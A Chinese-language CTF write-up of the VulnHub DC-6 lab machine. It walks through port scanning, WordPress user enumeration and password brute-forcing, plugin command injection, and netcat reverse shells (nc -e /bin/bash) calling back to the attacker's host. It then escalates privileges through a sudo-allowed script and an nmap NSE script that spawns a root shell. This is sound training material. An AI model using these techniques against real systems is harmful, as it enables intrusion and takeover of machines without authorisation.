vulnhub过关之旅(DC-6)

1.信息探测

1.1目标IP获取

sudo masscan --ping 192.168.100.0/24 --rate=1000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-02 08:10:57 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.149
Discovered open port 0/icmp on 192.168.100.2
Discovered open port 0/icmp on 192.168.100.151

1.2目标端口服务获取

sudo nmap 192.168.100.149 -p- -sV -A
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-02 16:13 CST
Nmap scan report for 192.168.100.149
Host is up (0.00028s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
|   256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
|_  256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to http://wordy/
MAC Address: 00:0C:29:8D:31:85 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.28 ms 192.168.100.149

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.95 second

成功获得目标的ip为192.168.100.149以及开放端口为22和80。

2.漏洞寻找

2.1访问80端口寻找漏洞

首先在浏览器中输入目标ip,这时需要修改hosts文件来绑定域名和ip

可以看到是一个wordpress的网站,于是可以用kali的wpscan来对其进行扫描和用户枚举

wpscan --url http://wordy --enumerate u

成功获取到该网站的后台用户名

把这些用户名保存到user.txt文件中,接下来想办法找到密码字典来爆破,根据作者给出的提示信息:

我们可以知道密码字典可以用以下命令获取:

cat /usr/share/wordlists/rockyou.txt | grep k01 > pwd.txt 

头铁试了一下直接用rockyou这个字典,但是时间实在是太长了!完全等不了。

接下来用wpscan来对wordy网站进行后台爆破

wpscan --url http://wordy -U user.txt -P pwd.txt

成功获取到mark的密码为helpdesk01

然后输入url为http://wordy/wp-admin来跳转到后台登录页面,使用mark的账号密码成功登录

探寻一番后发现了一个插件,再进去探索一下这个插件的各种功能,成功在tools界面找到了命令执行漏洞

再ip那个文本框里面输入构造好的命令,再点击lookup按钮,就可以成功执行任意命令。

于是利用nc构造反弹shell命令

nc -e /bin/bash 192.168.100.129 12345
nc -lvnp 12345

但是网页里面的输入框有输入字符数量限制要求,直接用burp抓包来构造命令,成功获得反弹shell

再用命令python -c ‘import pty;pty.spawn(“/bin/bash”)’切换shell界面

3.提权

此时是www-data用户,权限很低,接下来进行提权操作

首先进入home目录看到有四个用户,分别进去寻找一下有用信息

成功在mark的目录下找到了有用信息,里面有graham用户的账号密码。

接下来用此账号密码来切换成graham

www-data@dc-6:/home/mark/stuff$ su graham
su graham
Password: GSo7isUM1D4

graham@dc-6:/home/mark/stuff$

切换之后来看一下有没有什么免密就可以用其他用户权限来执行的程序

graham@dc-6:/home/mark/stuff$ sudo -l
sudo -l
Matching Defaults entries for graham on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
    (jens) NOPASSWD: /home/jens/backups.sh

成功找到一个jens的sh脚本文件,可以以jens的身份来执行它。

所以在backups.sh中写入一下bash命令

nc -e /bin/bash 192.168.100.129 12346

此时kali那边监听12346端口,成功获取到反弹回来的shell

再查看jens有没有什么免密执行的程序

jens@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jens may run the following commands on dc-6:
    (root) NOPASSWD: /usr/bin/nmap

看到jens可以免密码使用root用户来执行nmap,那么可以利用nmap能执行nse脚本的特性来提权称为root。

写一个nse脚本为hahaha.nse,内容为

jens@dc-6:~$ cat hahaha.nse
cat hahaha.nse
os.execute("/bin/sh")

输入nmap命令来运行此脚本

jens@dc-6:~$ sudo nmap --script=./hahaha.nse
sudo nmap --script=./hahaha.nse

Starting Nmap 7.40 ( https://nmap.org ) at 2021-08-02 18:51 AEST
# whoami
root
# 

成功获取root权限